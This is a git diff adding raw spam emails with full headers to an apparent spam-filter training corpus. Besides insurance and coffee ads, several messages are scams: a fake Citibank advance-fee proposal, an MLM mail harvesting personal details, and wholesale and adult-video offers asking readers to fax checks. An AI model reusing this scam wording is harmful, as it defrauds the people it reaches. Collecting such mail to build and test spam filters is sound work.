    * Minimum Premium to Endow is a = +hypothetical, non-guaranteed=20 + premium that, based on current charges and the current = +interest rate,=20 + would keep the policy in force to age 100. Interest rates = +and charges=20 + will change over time, as will the Minimum Premium to Endow. = +These=20 + premiums are shown as hypothetical figures based on the = +stated assumptions=20 + and are shown for comparative purposes only. The actual = +premium needed=20 + to keep the policy in force is based on actual results and = +may be=20 + higher or lower. ** All guarantees are based on the = +claims-paying=20 + ability of the issuer.
    + + PruLife Universal Protector is issued by Pruco Life = +Insurance Company.=20 + PruLife Universal Plus also is issued by Pruco Life = +Insurance Company=20 + in all states except New Jersey and New York, where it is = +issued by=20 + Pruco Life Insurance Company of New Jersey, both Prudential = +Financial,=20 + Inc. companies located at 213 Washington Street, Newark, NJ = +07102-2992.=20 + Each is solely responsible for its own financial condition = +and contractual=20 + obligations.
    + ++ Available on contracts dated Jan. 1, 2002 & later. = +Not available=20 + in New York & New Jersey.
    + Prudential Financial is a service mark of The Prudential = +Insurance=20 + Company of America, Newark, NJ and its affiliates. For = +financial professional=20 + use only. Not for use with the public.
    + IFS-A072238 Ed. 7/2002 Exp. 12/2003
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
    +
    + Legal Notice=20 +
    +     + + + +------=_NextPart_000_266701_01C22CE6.6C78C6F0-- + + diff --git a/bayes/spamham/spam_2/00714.cd13d8db12cc1f661d6b2eb6fcbb5156 b/bayes/spamham/spam_2/00714.cd13d8db12cc1f661d6b2eb6fcbb5156 new file mode 100644 index 0000000..b19b7c6 --- /dev/null +++ b/bayes/spamham/spam_2/00714.cd13d8db12cc1f661d6b2eb6fcbb5156 @@ -0,0 +1,54 @@ +Received: from uuout14smtp1.uu.flonetwork.com (uuout14smtp1.uu.flonetwork.com [205.150.6.121]) + by linux.midrange.com (8.11.6/8.11.6) with ESMTP id g6GNEjn19542 + for ; Tue, 16 Jul 2002 18:14:48 -0500 +Received: from UUCORE14PUMPER2 (uuout14relay1.uu.flonetwork.com [172.20.74.10]) + by uuout14smtp1.uu.flonetwork.com (Postfix) with SMTP id B12D11DE91 + for ; Tue, 16 Jul 2002 19:09:47 -0400 (EDT) +Message-Id: +From: Consumer Today +To: gibbs@midrange.com +Subject: Complimentary Thermal Coffeemaker from Gevalia! +MIME-Version: 1.0 +Content-Type: multipart/alternative; boundary="----000000000000000000000000000000000000000000000000000000000000000" +Date: Tue, 16 Jul 2002 19:09:47 -0400 (EDT) +X-Status: +X-Keywords: + +------000000000000000000000000000000000000000000000000000000000000000 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit + +Good news! As someone who is interested in receiving offers, +you'll now begin to receive exclusive deals from Consumer Today. +If you have any questions or would like not to receive our great +offers, please follow our easy unsubscribe process below. Welcome +and we look forward to serving you! +************************************************************** + + +Taste two 1/2-lb. varieties of Gevalia Kaffe and we'll +send you an 8-cup Thermal Coffeemaker as your FREE GIFT. +http://ct2.consumertoday.net/cgi-bin14/flo?y=mD30CCzME0D40Dy0BI + + +All of this can be yours for only $14.95 + + * Two 1/2-lb. Packages of Gevalia Coffee + * Our 8-cup Thermal Coffeemaker FREE + * Gevalia Gift Catalog + +Total Retail Value of This Special Offer $80 + + +A special offer for the discriminating coffee drinker. +http://ct2.consumertoday.net/cgi-bin14/flo?y=mD30CCzME0D40Dy0BI + +Indulge your passion for coffee. Select two 1/2-lb. +packages of smooth, aromatic Gevalia Kaffe for only +$14.95, including shipping and handling, and we'll +deliver them to your door with an 8-cup Thermal +Coffeemaker (retail value of $80) as a FREE GIFT. +With this machine, coffee is brewed directly into +its own thermal carafe and stays hot and flavorful +for hours. + diff --git a/bayes/spamham/spam_2/00715.ba1f144e98b423e35e3a61d464274732 b/bayes/spamham/spam_2/00715.ba1f144e98b423e35e3a61d464274732 new file mode 100644 index 0000000..7144c17 --- /dev/null +++ b/bayes/spamham/spam_2/00715.ba1f144e98b423e35e3a61d464274732 @@ -0,0 +1,94 @@ +From powersource2fg7@lycos.com Wed Jul 17 00:28:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id 7DDC543D45 + for ; Tue, 16 Jul 2002 19:28:16 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 00:28:16 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6GNJ9J23966 for + ; Wed, 17 Jul 2002 00:19:09 +0100 +Received: from aatl1s05.accordnetworks.com ([66.150.61.5]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6GNJ7R20117; + Wed, 17 Jul 2002 00:19:08 +0100 +Received: from mailmr.accordtelecom.com (66.150.60.130 [66.150.60.130]) by + aatl1s05.accordnetworks.com with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2653.13) id PBSFZYL2; Tue, 16 Jul 2002 19:21:02 -0400 +Received: from mx1.mail.lycos.com ([200.61.163.49]) by + mailmr.accordtelecom.com (NAVGW 2.5.1.13) with SMTP id + M2002071607183309967 ; Tue, 16 Jul 2002 07:19:10 -0400 +Message-Id: <0000072c3625$00007190$00002119@mx1.mail.lycos.com> +To: +From: powersource2fg7@lycos.com +Subject: TOP Legal advice.. for PENNIES a day! +Date: Tue, 16 Jul 2002 07:25:57 -1600 +MIME-Version: 1.0 +Reply-To: babar2fg7@lycos.com +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + +Prepaid Legal Special + + + + + + + + +
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    + + + +
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    + +

    BUY PRODUCTS

    + +

    70 to 80%

    +

    BELOW WHOLESALE

    + +

    NEW, AND IN QUANTITIES YOU NEED

    +

    A SINGLE UNIT, A PALLET,
    + OR A TRUCKLOAD

    +     +

    1. Do you consider yourself "FINANCIALLY SECURE"?

    +

    2. Are you still looking for a very Real Business that can provide y= +ou and + your family with the lifestyle you desire and deserve? Or,just a seco= +nd + income in your spare time?

    + +

    3. Would you invest $66.50 (A 25% discount off of our regular price = +of + $99.95 during this limited time promotion. ) in a business that could ma= +ke you + "FINANCIALLY SECURE"?

    +

    If so, read on:

    +

    This is not a get rich quick scheme, but, it is a way for you to get= + into + a business with a minimal investment and, may be your first step towards= + a + rewarding first, or second income. For the longest time, only those, who= + were + able to make large investments were able to take advantage of this type = +of a + business. We have made it possible for everyone to do it, and at a price + everyone can afford.

    + +

     

    +     +

    Corporate America has conditioned us to believe that security comes = +from + employment. Yet layoffs are hitting an all time high, major corporations= + are + failing and we hope to never become the victims of this downsizing, care= +er + burn out, illness or injury.

    +

    There was a time, when finding another job was not a problem, but to= +day, + the frightening reality for a lot of people is that "the + plastic in their wallets determines the quality of their lives."

    +

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    +

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    +

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    We will show you how you can buy, new, not out of date, products for= + PENNIES + on the WHOLESALE DOLLAR. We will not just= + send a + list, or catalog of where you can buy, but actual point and click DATABA= +SE + with hyperlinks to suppliers=FFFFFF92 websites and specials pages, with = +email + addresses, phone and fax numbers, and their current HOT + listings. Unlike others=FFFFFF92 distribution businesses where you are p= +rovided with + WHOLESALE CATALOGS, out of date CD's, or lists of Government Auctions th= +at + sell Jeeps for $10, (which are a myth), we provide an unlimited virtual + database of items at up to 95% below wholesale from liquidators, not + wholesalers, that is up-dated on a weekly/daily basis by the suppliers. = +And + the products are available for immediate purchase and shipping to you. +

    This database is designed for the individual or a small business. Al= +though + there are suppliers in this database selling in large quantities, most a= +re + selected for their flexability in being willing sell in small quantities= + at + great savings (80 to 95% Below Wholesale)

    +

    You will be able to buy such items as RCA Stereos that retail for $2= +50.00+ + for $20.00, New Boom Boxes for $12.50 each, Palm Pilots for $39.00, Cell= + Phone + Antenna Boosters that sell on TV for $19.95- - for .16 cents, Perfect Pa= +ncake + makers as seen on TV for $19.95, for$6.50, Disney Kids' clothes at $1.85= +/unit, + or Pentium computers for as little as $11.00.

    + +

     

    +     +

    If you would like to see some sample listings and featured specials, + please email us adddata7080@excite.com= +

    + +

    You may purchase this database:

    + +

    By Credit Card: At PayPal to the account of datapaid2000@yahoo.com

    + +

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    +

    Check by Fax To:

    +

    Specialty Products 502-244-1373

    + +

    (Just write a check and fax it to the above number, NO NEED TO MAIL)<= +/p> + +

    (Please include email address for the transmission of database.) + +

    By Mail:

    +

    Specialty Products

    +

    210 Dorshire Court

    +

    Louisville, KY 40245

    +     +

    (Please remember to include a valid email address for the transmissio= +n of + the Database)

    + +

     

    +     +

    For your protection, we provide a 30 DAY,= + 100% + MONEY BACK, SATISFACTION GUARANTEE, if we have misrepresented= + our + product.

    +

    What do you get for your $66.50 investment:<= +/font>

    +

    A, fully executable, database of 100=FFFFFF92s of suppliers with hyp= +erlinks to + their websites, fax and phone numbers and a description of what type of + product they handle and current product specials.

    + +

    And, "On-going telephone support during normal business hours.&= +quot;

    +     +

     

    +     +

    Since this is such a fast changing business, with new products being= + added + and deleted on a weekly or even a daily basis, all data will be provided + within 24 hours of receipt of payment via email file transfer. ( no wait= +ing or + shipping and handling costs) The $66.50 i= +s your total + one time cost.

    +

    This DATABASE is for individuals who recognize an opportunity to mak= +e a + substantial income. Keep in mind, everyone likes a bargain, and even mor= +e so + when the economy is down. So, even if you just want to buy for your own = +use, a + single purchase could repay your initial investment. And, remember we pr= +ovide + a 30day, full refund satisfaction guarantee.<= +/font>

    +

    We know that this has been a brief description, and you may want + additional information. You may email us at adddata7080@excite.com + for additional information and a sample of listings currently being offe= +red by + various suppliers. (If you give us some idea of = +what + types of products interest you, we will try to include some sample listi= +ngs of + those products.)

    + +

    We look forward to being of service in your new venture.

    +

    Specialty Products

    +     +
    +

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    + + + diff --git a/bayes/spamham/spam_2/00721.09d243c9c4da88c5f517003d26196aaa b/bayes/spamham/spam_2/00721.09d243c9c4da88c5f517003d26196aaa new file mode 100644 index 0000000..3ef9754 --- /dev/null +++ b/bayes/spamham/spam_2/00721.09d243c9c4da88c5f517003d26196aaa @@ -0,0 +1,301 @@ +From earn_1000_per_week@btamail.net.cn Wed Jul 17 08:59:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by netnoteinc.com (Postfix) with ESMTP id 680C443FA2 + for ; Wed, 17 Jul 2002 03:59:05 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 08:59:05 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6H80AJ31613 for + ; Wed, 17 Jul 2002 09:00:11 +0100 +Received: from btamail.net.cn ([211.192.139.79]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6H802R20773 for + ; Wed, 17 Jul 2002 09:00:05 +0100 +Received: from unknown (HELO smtp-server.tampabayr.com) (139.173.96.143) + by web.mail.halfeye.com with NNFMP; Wed, 17 Jul 0102 09:59:11 +0900 +Received: from unknown (197.215.79.112) by m10.grp.snv.yahui.com with + esmtp; Wed, 17 Jul 0102 18:53:51 -0800 +Received: from unknown (HELO mailout2-eri1.midmouth.com) (56.77.20.170) by + pet.vosni.net with smtp; 17 Jul 0102 10:48:31 -0700 +Received: from sparc.zubilam.net ([21.101.86.236]) by + smtp-server.tampabayr.com with smtp; 17 Jul 0102 03:43:11 +0400 +Reply-To: "Success Team 2002" +Message-Id: <035e46a35e2c$6783a4e2$2dc58de4@sbxrct> +From: "Success Team 2002" +To: you@netnoteinc.com +Subject: A Guaranteed Check for you +Date: Wed, 17 Jul 0102 09:53:05 -0200 +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: MIME-tools 5.503 (Entity 5.501) +Importance: Normal +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + +
    +

    You are receiving this because we have +exchanged e-mails +in +the past or your e-mail address is on file. If you wish to be +removed, +removal +instructions are at the end of this message.

    Yes, that's right! We guarantee you a +check!

    Hello, this is +Steve in Georgia, USA. I hope this email finds you and +yours in +good +health.
    I have something for you to read that will interest +you! Thank +You +for your time.

    Answer six +simple +questions and we guarantee you a check! 

    +
    1        Your +name
    2        +phone
    3    +    email
    4    +    time you +can +be reached
    5        Do you have +10 hours +per +week to work?
    6        How much +do you +desire +to earn per +month?
                +                +
    Send Your Info To:  +
    +
    earn_1000_per_week@btamail.net.cn +
    TYPE   "$1000" as your subject +please!
    +
     
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    +


    +


    NOTE: The first in gets the most spill in a +Powerline. +Powerline means one under the other down one line. So if 100 +people join +from +this email and you are first, you will have 99 +people in +your +powerline, if your the 50th you will have 49,if your the 90th +you will have +10. +So on and so on!

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    +
    1        Your +name
    2        +phone
    3    +    email
    4    +    time you +can +be reached
    5        Do you have +10 hours +per +week to work?
    6        How much +do you +desire +to earn per +month?
                +                
    Send Your Info +To:  +
    earn_1000_per_week@btamail.net.cn +
    TYPE   +"$1000" as your subject +please!


      The +Success Team 2002



    +

    Regards,

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    +
     
    +

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     + + diff --git a/bayes/spamham/spam_2/00722.1ec5e1f05520ad5119de960f77f965d1 b/bayes/spamham/spam_2/00722.1ec5e1f05520ad5119de960f77f965d1 new file mode 100644 index 0000000..0dc6441 --- /dev/null +++ b/bayes/spamham/spam_2/00722.1ec5e1f05520ad5119de960f77f965d1 @@ -0,0 +1,86 @@ +From spamassassin-sightings-admin@lists.sourceforge.net Wed Jul 17 18:29:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8590243F90 + for ; Wed, 17 Jul 2002 13:29:40 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 18:29:40 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6HHODJ08126 for ; Wed, 17 Jul 2002 18:24:13 + +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UsX6-0007nw-00; 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Wed, 17 Jul 2002 14:24:24 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 19:24:24 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6HIKHJ11933 for + ; Wed, 17 Jul 2002 19:20:17 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA04233; Wed, 17 Jul 2002 19:17:51 +0100 +Received: from mail.tuatha.org ([212.96.2.55]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id TAA04203 for ; Wed, + 17 Jul 2002 19:17:39 +0100 +Message-Id: <200207171817.TAA04203@lugh.tuatha.org> +X-Authentication-Warning: lugh.tuatha.org: Host [212.96.2.55] claimed to + be mail.tuatha.org +From: "DAVE FRAMO" +Date: Wed, 17 Jul 2002 19:09:57 +To: ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +Subject: [ILUG] DEAL +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +SUBJECT: + Urgent Concern Pls. + +I am a serious officer with one of our main branches of CITI BANK, +consumer Banking Department. Although we didn't have previous correspondence till date. +However, based on the standard value place on everything about you, I believed we could discuss, analyze and execute this transaction.The transaction is thus: +I've a wealthy client, an American Citizen who had been residing in West Africa for decades now, he operates a fix deposit account with us which I am his account officer, and also +receives standing orders for his chains of dividends share. +However, this client Mr. David Brown died as an out come of Heart attack,and the funds in his current account has been claimed by his family, who had gone back finally to USA. +At the end of Fiscal year, March 2001, an accumulated share of US$12.360M was transferred into his account from the Stock Exchange. +This was alone the instructions we issued to the Stock House to dispose all his stocks. + +Now the funds has arrived, I needed an associate whom I would present as the inheritor of this fund i.e. Associate partner of Mr. David Brown so as to receive this fund. +Please note, his family has left since,and never know about this stocks in the exchange and the funds has subsequently matured in his Fix Deposit Account, so I as the account officer +has prepared all documents for easy claims of this fund. +Immediately, you reach me, I will furnish you with further details and then negotiate on the sharing ratio once you show your sincere involvement to go along with me. It will be of +need for you to furnish me also your personal phone and fax numbers for urgent +messages. +I am anxiously waiting to hear your consent. + +Be guided. + +Thanking you .Yours sincerely, + +Dave Framo. + + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/spam_2/00725.260c7aa4ae8ce594c0c671b2611d313d b/bayes/spamham/spam_2/00725.260c7aa4ae8ce594c0c671b2611d313d new file mode 100644 index 0000000..a8ea5cd --- /dev/null +++ b/bayes/spamham/spam_2/00725.260c7aa4ae8ce594c0c671b2611d313d @@ -0,0 +1,117 @@ +From tn@Pitching.com Wed Jul 17 20:20:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 107CA43F90 + for ; Wed, 17 Jul 2002 15:20:11 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 17 Jul 2002 20:20:11 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6HJFAJ15478 for + ; Wed, 17 Jul 2002 20:15:10 +0100 +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6HJF8R22215 for + ; Wed, 17 Jul 2002 20:15:09 +0100 +Received: from 200.171.95.77 ([203.150.24.1]) by webnote.net (8.9.3/8.9.3) + with SMTP id UAA16076 for ; Wed, 17 Jul 2002 20:14:59 + +0100 +Message-Id: <200207171914.UAA16076@webnote.net> +Received: from [46.224.35.15] by rly-xl04.mx.aol.com with smtp; + Jul, 17 2002 11:57:55 AM -0200 +Received: from [174.223.185.169] by rly-xl05.mx.aol.com with NNFMP; + Jul, 17 2002 10:47:04 AM -0100 +Received: from 117.83.248.68 ([117.83.248.68]) by rly-xl04.mx.aol.com with + NNFMP; Jul, 17 2002 9:54:02 AM +0700 +Received: from unknown (70.133.86.252) by + da001d2020.lax-ca.osd.concentric.net with esmtp; Jul, 17 2002 8:56:49 AM + -0100 +From: Videos&DVDs +To: yyyy@netnoteinc.com +Cc: +Subject: Free Adult Videos To: yyyy@netnoteinc.com ID: vtyp +Sender: Videos&DVDs +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Wed, 17 Jul 2002 12:15:13 -0700 +X-Mailer: Microsoft Outlook Express 5.00.2615.200 + +To: yyyy@netnoteinc.com +############################################ +# # +# Adult Online Super Store # +# Shhhhhh... # +# You just found the Internet's # +# BEST KEPT SECRET!!! # +# 3 Vivid DVDs Absolutely FREE!!! # +# # +############################################ + +If you haven't seen it yet... we are offering a +new weekly selection absolutely FREE Adult DVDs +AND VIDEOS NO PURCHASE NECESSARY!!!!! + + GO TO: http://209.203.162.20/8230/ + +Everything must go!!! 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To place an order, you can call us at: + +1-308-650-5905 ext 121 Are fax your order to1-415-873-2700 + +This Number is for credit Card Orders Only!!! + +CHECK BY FAX SERVICES! + +If you would like to fax a check, paste your check below and fax it to our office + +along with the EZ Order Form forms to: 1-415-873-2700 + +********************************************************** + +***24 HOUR FAX SERVICES*** PLEASE PASTE YOUR + +CHECK HERE AND FAX IT TO US AT 1-415-873-2700 + + + + + +********************************************************** + +If You fax a check, there is no need for you to mail the + +original. We will draft a new check, with the exact + +information from your original check. All checks will be + +held for bank clearance. (7-10 days) Make payable to: + +"S.C.I.S" + + + +-=-=-=-=--=-=-=-=-=-=-=offlist Instructions=-=-=-=-=-=-=-=-=-=-=-= + +************************************************************** + +Do not reply to this message - + + + +mailto:nomomail@flashmail.com?Subject=offnowc +************************************************************** + + + diff --git a/bayes/spamham/spam_2/00728.6337ac1dd7bf9fa481c30c7cd01b496c b/bayes/spamham/spam_2/00728.6337ac1dd7bf9fa481c30c7cd01b496c new file mode 100644 index 0000000..5cfbf1c --- /dev/null +++ b/bayes/spamham/spam_2/00728.6337ac1dd7bf9fa481c30c7cd01b496c @@ -0,0 +1,80 @@ +From looking4money@imkit.com Thu Jul 18 00:12:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CE67943F90 + for ; Wed, 17 Jul 2002 19:12:16 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 00:12:16 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6HN4fJ31010 for + ; Thu, 18 Jul 2002 00:04:42 +0100 +Received: from mail.cb48.com ([204.182.48.16]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP id g6HN4cR22486 for + ; Thu, 18 Jul 2002 00:04:40 +0100 +Message-Id: <200207172304.g6HN4cR22486@mandark.labs.netnoteinc.com> +Received: from imkit.com (204.182.48.253) by MAIL (MailMax 4. 8. 3. 0) + with ESMTP id 63931656 for jm@netnoteinc.com; Wed, 17 Jul 2002 18:53:13 + -0400 EDT +From: "Looking4Money" +To: +Subject: An alternative to MLM that WORKS +Sender: "Looking4Money" +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Wed, 17 Jul 2002 18:57:25 -0400 +Content-Transfer-Encoding: 8bit + +Greetings! + +You are receiving this letter because you have expressed an interest in +receiving information about online business opportunities. If this is +erroneous then please accept my most sincere apology. This is a one-time +mailing, so no removal is necessary. + +If you've been burned, betrayed, and back-stabbed by multi-level +marketing, MLM, then please read this letter. It could be the most +important one that has ever landed in your Inbox. + +MULTI-LEVEL MARKETING IS A HUGE MISTAKE FOR MOST PEOPLE + +MLM has failed to deliver on its promises for the past 50 years. The +pursuit of the "MLM Dream" has cost hundreds of thousands of people their +friends, their fortunes and their sacred honor. The fact is that MLM is +fatally flawed, meaning that it CANNOT work for most people. + +The companies and the few who earn the big money in MLM are NOT going to +tell you the real story. FINALLY, there is someone who has the courage to +cut through the hype and lies and tell the TRUTH about MLM. + +HERE'S GOOD NEWS + +There IS an alternative to MLM that WORKS, and works BIG! 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And +it's FREE! + + diff --git a/bayes/spamham/spam_2/00729.b4b709ee7cb85908bdec0b050a11e518 b/bayes/spamham/spam_2/00729.b4b709ee7cb85908bdec0b050a11e518 new file mode 100644 index 0000000..b443694 --- /dev/null +++ b/bayes/spamham/spam_2/00729.b4b709ee7cb85908bdec0b050a11e518 @@ -0,0 +1,348 @@ +From lp@insurancemail.net Thu Jul 18 00:23:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3718C43F90 + for ; Wed, 17 Jul 2002 19:23:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 00:23:22 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g6HNIsJ31892 for ; Thu, 18 Jul 2002 00:18:55 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Wed, 17 Jul 2002 19:19:22 -0400 +Subject: Commissions Too High to Publish +To: +Date: Wed, 17 Jul 2002 19:19:22 -0400 +From: "IQ - Life Pros" +Message-Id: <1f24201c22de8$6226fca0$6b01a8c0@insuranceiq.com> +MIME-Version: 1.0 +X-Mailer: Microsoft CDO for Windows 2000 +Thread-Index: AcIt00vJ9uf8J1EcSfKfB8n5E7H/fQ== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 17 Jul 2002 23:19:22.0421 (UTC) FILETIME=[6245F650:01C22DE8] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C22DB1.C4B80210" + +This is a multi-part message in MIME format. + +------=_NextPart_000_0007_01C22DB1.C4B80210 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Non-Med Level Term 15-20 & 30 year with Return of Premium Rider! + It's Lucrative: + Commission so high we can't publish them + +Annualization Available +Daily Commission by EFT + It's Fast: + Qualifying policies processed in 4 days or company pays you +$100.00 +Forms and Status from Internet + It's Easy: + Non-medical underwriting (No Blood, No HOS, No Exam)* + Ages 0-60 $100,000 + Ages 61-70 $50,000 + Easy To Complete Application +Fax Application to Home Office (No Need to Mail Original) + 888-574-9088 +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: + + + +M14070PBL602 +*Issuance of the policy based on answers to medical questions +We don't want anybody to receive our mailing who does not wish to +receive them. This is a professional communication sent to insurance +professionals. To be removed from this mailing list, DO NOT REPLY to +this message. Instead, go here: http://www.insurancemail.net +Legal Notice + + +------=_NextPart_000_0007_01C22DB1.C4B80210 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +Commissions Too High to Publish + + + + +

    =20 + + + + +
    + + =20 + + + =20 + + +
    3D'Non-Med
    3D"It's
    + + =20 + + + + =20 + + + + + =20 + + +
      + + Commission so high we can't publish them
    +     +
    + + Annualization Available
    + + Daily Commission by EFT + +
    + + =20 + + +
    3D"It's
    + + =20 + + + + =20 + + +
      + + Qualifying policies processed in 4 days or company pays = +you $100.00 + +
    + + Forms and Status from Internet + +
    + + =20 + + +
    3D"It's
    + + =20 + + + +
      + + Non-medical underwriting (No Blood, No HOS, No = +Exam)* +
    + + =20 + + + + + =20 + + + + +
     Ages 0-60$100,000
     Ages 61-70$50,000
    + + =20 + + + + =20 + + +
      + + Easy To Complete Application +
    + + Fax Application to Home Office (No Need to Mail = +Original) +
    + + =20 + + +
    3D'888-574-9088'
    + + =20 + + +
    =20 + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + + +
    Please fill out the form below for more = +information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
     =20 + +  =20 + + +
    +
    +
    + + =20 + + + =20 + + + =20 + + +
    =20 +
    M14070PBL602
    +
    =20 +

    *Issuance=20 + of the policy based on answers to medical = +questions
    + We don't want anybody to receive our mailing who does = +not wish=20 + to receive them. This is a professional communication = +sent to=20 + insurance professionals. To be removed from this = +mailing list,=20 + DO NOT REPLY to this message. Instead, go here: http://www.insurancemail.net + Legal = +Notice    =20 +

    +
    +
    +

    + + + +------=_NextPart_000_0007_01C22DB1.C4B80210-- + + diff --git a/bayes/spamham/spam_2/00730.0082840b49157df044b094b1a0461063 b/bayes/spamham/spam_2/00730.0082840b49157df044b094b1a0461063 new file mode 100644 index 0000000..a4fe95e --- /dev/null +++ b/bayes/spamham/spam_2/00730.0082840b49157df044b094b1a0461063 @@ -0,0 +1,83 @@ +From webmake-talk-admin@lists.sourceforge.net Thu Jul 18 00:56:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 545E943F90 + for ; Wed, 17 Jul 2002 19:56:26 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 18 Jul 2002 00:56:26 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6HNsHJ00972 for ; Thu, 18 Jul 2002 00:54:17 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17UycM-0006nY-00; Wed, + 17 Jul 2002 16:54:02 -0700 +Received: from [209.225.8.14] (helo=dc-mx04.cluster1.charter.net) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17UycE-0001hg-00 for ; Wed, + 17 Jul 2002 16:53:54 -0700 +Received: from [66.191.173.111] (HELO user-bbxdmnnh9d) by + dc-mx04.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9) with ESMTP id + 43949177 for webmake-talk@lists.sourceforge.net; Wed, 17 Jul 2002 19:53:20 + -0400 +Message-Id: 